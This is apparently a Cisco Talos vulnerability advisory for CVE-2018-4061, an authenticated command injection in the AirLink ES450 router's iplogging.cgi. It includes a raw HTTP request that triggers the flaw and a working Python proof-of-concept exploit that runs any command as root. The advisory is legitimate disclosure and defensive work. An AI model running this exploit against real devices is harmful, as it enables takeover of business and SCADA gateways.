Sierra Wireless AirLink ES450 ACEManager iplogging.cgi Command Injection

`Talos Vulnerability Report  
  
TALOS-2018-0746  
  
Sierra Wireless AirLink ES450 ACEManager iplogging.cgi command injection vulnerability  
April 25, 2019  
  
CVE Number  
CVE-2018-4061  
  
Summary  
  
An exploitable command injection vulnerability exists in the ACEManager iplogging.cgi functionality of Sierra Wireless AirLink ES450 FW 4.9.3. A specially crafted HTTP request can inject arbitrary commands, resulting in arbitrary command execution. An attacker can send an authenticated HTTP request to trigger this vulnerability.  
  
  
Tested Versions  
  
Sierra Wireless AirLink ES450 FW 4.9.3  
  
  
Product URLs  
  
https://www.sierrawireless.com/products-and-solutions/routers-gateways/es450/  
CVSSv3 Score  
  
9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H  
CWE  
  
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')  
Details  
  
Sierra Wireless manufactures wireless communications equipment. They provide embedded solutions and wireless hardware solutions, including both the ES450 and GX450 devices. The AirLink ES450 is an LTE gateway designed for distributed enterprise. The ES450 is typically seen connecting point-of-sale devices, remote SCADA equipment, or other business-critical equipment. The AirLink ES450 also provides a terminal server for remote out-of-band administration.  
  
ACEManager is the web server included with the AirLink ES450. This web server is responsible for the majority of interactions in the device. Some specific capabilities of the web server are routing, device reconfiguration, user authentication and certificate management. The vendor has stated that the ACEManager web application is not accessible by default from the Cellular WAN.  
  
If a request is made to /admin/tools/iplogging.cgi within ACEManager, the -z flag is not properly escaped, or removed. This flag is responsible for providing a postrotate-command to be provided to tcpdump which allows for command injection as root. This flag needs the -G flag to properly set up the rotation timeframe for the command to be executed.  
  
The following POST request will trigger the vulnerability.  
  
POST /admin/tools/iplogging.cgi HTTP/1.1  
Host: 192.168.13.31:9191  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0  
Accept: text/plain, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.13.31:9191/admin/tools/iplogging.html  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 63  
Cookie: token=1e9c07e135a15e40b3290c320245ca9a  
Connection: close  
  
tcpdumpParams=tcpdump -z reboot -G 2 -i eth0&stateRequest=start  
  
This vulnerability was discovered and tested using the AirLink ES450. This vulnerability also most likely affects the AirLink GX450 product, as well.  
Exploit Proof of Concept  
  
#!/usr/bin/env python  
#Author : Carl Hurd, Cisco Talos  
import sys  
import socket  
import time  
import requests  
  
def auth(ip, port, password):  
data = """<request xmlns="urn:acemanager">  
<connect>  
<login>user</login>  
<password><![CDATA[{}]]></password>  
</connect>  
</request>""".format(password)  
  
response = requests.post("http://"+ip+":"+port+"/xml/Connect.xml", data=data)  
  
try:  
cookies = dict(token=response.headers["Set-Cookie"].split("; ")[0][len("token="):])  
return cookies  
except:  
print("Error while authenticating")  
sys.exit(0)  
  
def main():  
if len(sys.argv) < 5 or len(sys.argv) > 5:  
print("Usage : {} [ip address] [port] [password of user] [cmd to run]".format(sys.argv[0]))  
sys.exit(0)  
  
ip = sys.argv[1]  
port = sys.argv[2]  
password = sys.argv[3]  
cmd = sys.argv[4]  
  
print("Injecting command : {}".format(cmd))  
  
cookies = auth(ip, port, password)  
  
files = {'save-as-filename': (None, "iplogging_params.tcp"), 'file-location': (None, "/tmp/iplogging_params.tcp"), 'upload-file': ('exploit.xml', 'none')}  
response = requests.post("http://"+ip+":"+port+"/cgi-bin/iplogging_upload.cgi", cookies=cookies, files=files)  
  
response = requests.post("http://"+ip+":"+port+"/admin/tools/iplogging.cgi", cookies=cookies, data="stateRequest=getCmds")  
  
data = "tcpdumpParams=tcpdump -z {} -G 1 -i eth0&stateRequest=start".format(cmd)  
response = requests.post("http://"+ip+":"+port+"/admin/tools/iplogging.cgi", cookies=cookies, data=data)  
  
response = requests.post("http://"+ip+":"+port+"/admin/tools/iplogging.cgi", cookies=cookies, data="stateRequest=queryStatus")  
  
if __name__ == "__main__":  
main()  
  
Timeline  
  
2018-12-14 - Vendor disclosure  
2018-12-17 - Vendor acknowledged  
2019-01-08 - Discussion to review vendor's analysis of issues  
2019-03-26 - Vendor established timelines for fix/public disclosure  
2019-04-20 - Talos provided revised CVSS score on TALOS-2018-0746, TALOS-2018-0751, TALOS-2018-0752, TALOS-2018-0755, and TALOS-2018-0756  
2019-04-25 - Public Release  
  
Credit  
  
Discovered by Carl Hurd and Jared Rittle of Cisco Talos.  
`